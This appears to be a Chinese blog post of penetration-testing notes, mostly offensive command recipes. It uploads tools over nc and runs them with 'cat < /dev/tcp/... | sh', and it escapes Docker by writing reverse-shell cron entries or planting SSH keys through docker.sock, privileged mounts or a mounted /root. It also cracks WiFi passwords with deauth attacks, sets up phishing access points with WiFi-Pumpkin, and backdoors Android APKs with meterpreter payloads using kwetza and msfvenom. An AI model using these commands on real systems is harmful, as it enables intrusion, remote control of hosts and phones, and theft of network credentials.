od -t x1 filename 如果看到输出内容中存在0d 0a的字符,那么文件是dos格式,如果只有0a,则是unix格式。
vi filename打开文件,执行 : set ff,如果文件为dos格式在显示为fileformat=dos,如果是unxi则显示为fileformat=unix。

获取shell以后上传木马

wget和curl均不可用时(使用nc上传)

sudo nc -q 5 -lvnp 8090 < linpeas.sh  //通过侦听8090端口,将linpeas.sh发送到端口
cat < /dev/tcp/10.10.14.123/8090 | sh  //在目标靶机连接kali机的8090端口获取内容然后执行

=============发送文件讲解=======================
nc -l 8090 > file //接收机监听8090,收到文件放到8090端口
nc 10.10.10.220 8090 < file //将file发送到管道
或者
nc -l 8090 < file
nc 10.10.10.220 8090 > file

docker逃逸

docker逃逸案例

#https://www.cnblogs.com/xiaozi/p/13423853.html

检查是否focker环境

检查/.dockerenv文件是否存在
检查/proc/1/cgroup内是否包含"docker"等字符串。

docker remote api未授权访问

//在容器内执行命令,将反弹shell的脚本写入到/var/spool/cron/roo
echo '* * * * * /bin/bash -i >& /dev/tcp/10.10.14.123/7777 0>&1' >> /mnt/var/spool/cron/crontabs/root

//kali监听
nc -nvvlp 7777

docker.sock挂载到容器内部

//在容器中找到docker.sock
find / -name docker.sock	//结果:/run/docker.sock
//在容器查看宿主机docker信息
docker -H unix:///var/run/docker.sock info
//行一个新容器并挂载宿主机根路径:
docker -H unix:///var/run/docker.sock run -it -v /:/test ubuntu /bin/bash
//在新容器的/test 目录下,就可以访问到宿主机的全部资源,接下来就是写入ssh密钥或者写入计划任务,获取shell。
ls -al /test

docker 高危启动参数1

特权模式(—privileged)
使用特权模式启动的容器时,docker管理员可通过mount命令将外部宿主机磁盘设备挂载进容器内部,获取对整个宿主机的文件读写权限,此外还可以通过写入计划任务等方式在宿主机执行命令。
//环境准备
sudo docker run -itd --privileged ubuntu:latest /bin/bash

//在容器内,查看磁盘文件
fdisk -l

//将/dev/sda1 挂载到新建目录
mkdir /test
mount /dev/sda1 /test
mount /dev/sda2 /test

//将计划任务写入到宿主机
echo '* * * * * /bin/bash -i >& /dev/tcp/10.10.14.123/7777 0>&1' >> /test/var/spool/cron/crontabs/root

//开启nc监听,成功获取宿主机反弹回来的shell。

docker 高危启动参数2

//环境准备
//将宿主机root目录挂载到容器,导致漏洞的原因
docker run -itd -v /root:/root ubuntu:18.04 /bin/bash


//模拟攻击者写入ssh密钥
mkdir /root/.ssh
cat id_rsa.pub >> /root/.ssh/authorized_keys

//利用私钥成功登录。获取宿主机权限。

加密解密

base64

//加密
base file
//解密
base -d file

公钥私钥登陆

生成pem(rsa)密钥

//方法一
//-N"" 密码为空
//-m pem 格式是pem
//存储路径
ssh-keygen -p -N"" -m pem -f /path/to/key

openssh转化为pem(rsa)密钥

//通过将密钥转换为PuTTy ppk格式然后再转换为RSA-PEM
# 生成一个密钥,命名为demo做为演示示例
# 转换为ppk格式
puttygen private_key -o private_key.ppk
# 转换为ras-pem格式
puttygen private_key.ppk -O private-openssh -o ssh-key.pem

数据库

SQL语句

//1.查看所有数据库
show databases;

//2.查看当前使用的数据库
select database();

//3.查看数据库中所有表
show tables;

//4.查看版本号
select version();
或者
status;

mysql常见内置函数

select system_user() 查看系统用户 
select current_user() 查询当前用户 
select user(); 查询用户 
SELECT version() 查询数据库版本 
SELECT database() 查询当前连接的数据库 
select @@version_compile_os 查询当前操作系统 
select now(); 显示当前时间 
select @@basedir //查询MYSQL安装路径
SHOW VARIABLES WHERE Variable_Name LIKE "%dir" //查看所有dir路径

wifi渗透

airmon-ng,airodump-ng,aircrack-ng结合破解wifi密码

#开启网卡侦听(Monitor)模式
airmon-ng start wlan0  //stop是关闭
#查看网卡状态
iwconfig

#查看附近wifi
airodump-ng wlan0mon

#抓包。
#-c指定信道,这里是12信道。
#--bssid指定ap的mac地址。
#-w指定抓包存储路径
#wlan0mon是使用的开启了monitor模式的无线网卡
airodump-ng -c 12 --bssid mac地址 -w 抓包存储路径 wlan0mon

#deauth攻击,让被攻击者重连wifi,从而获取握手包
#-0(),让用户断开wifi链接
#10代表断开10次
#-a指定ap的mac地址
#-c指定被断开用户的mac地址
aireplay -0 10 -a ap的mac地址 -c 被攻击者的mac地址 wlan0mon

#破解wifi密码,使用指定密码。破解抓到的包
aircrack-ng -w 字典 抓到的包

wifi-pumpkin搭建钓鱼wifi

不太好安装,安装失败了,需要安装PyQt4才能使用

#github仓库
https://github.com/P0cL4bs/WiFi-Pumpkin-deprecated

#安装wifi-pumpkin搭建钓鱼wifi
git clone https://github.com/P0cL4bs/WiFi-Pumpkin.git
cd WiFi-Pumpkin
./installer.sh --install

#.deb安装包安装
https://github.com/P0cL4bs/WiFi-Pumpkin-deprecated/releases/download/v0.8.7Release/wifi-pumpkin_0.8.7_all.deb
sudo dpkg -i wifi-pumpkin-0.8.5-all.deb
sudo apt-get -f install

python2.7+pyqt4安装方法

用pip安装wheel  执行命令pip install wheel

通过pythonlibs库地址:http://www.lfd.uci.edu/~gohlke/pythonlibs查找pyqt4的.whl文件

安装:pip install PyQt4-4.11.4-cp27-cp27m-win32.whl

安装失败的wifipumpkin3

#下载
git clone https://gitee.com/dzf2012/wifipumpkin3.git
cd wifipumpkin3
#准备,需要提前安装python3-pyqt5
apt install python3-pyqt5
#检验python3-pyqt5是否安装成功
python3 -c "from PyQt5.QtCore import QSettings; print('done')"
#安装
python3 setup.py install

wifipumpkin3使用方法

启动
wifipumpkin3
设置网卡
>set interface wlan0
设置无线信号名称
>set ssid bbskali.cn
>

Android渗透

APK文件注马

1)kwetza工具注马

#安装
git clone https://gitee.com/spears/kwetza.git

cd kwetza
python kwetza.py 需要注入的安装包.apk 监听者IP 监听端口 yes
python kwetza.py ../../app/VMOSPro.apk 192.168.0.17 55555 yes


xdg-open baidu.apk


msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 监听者IP
set lport 监听端口
exploit

2)msfvenom注入木马


msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.2.146 lport=55555 R > /home/yxs.apk

msfvenom -a java --platform android -k -p android/meterpreter/reverse_tcp -x VMOSPro.apk -i 20 lhost=192.168.0.17 lport=55555 -o VMOS_Pro.apk

3)问题解决java环境&&apktool

多半是默认msfvenom,没有指定-a参数的原因。指定参数-a java就好了。

4)msfconsole监听

msfconsole
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost 监听者IP
set lport 监听端口
exploit
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值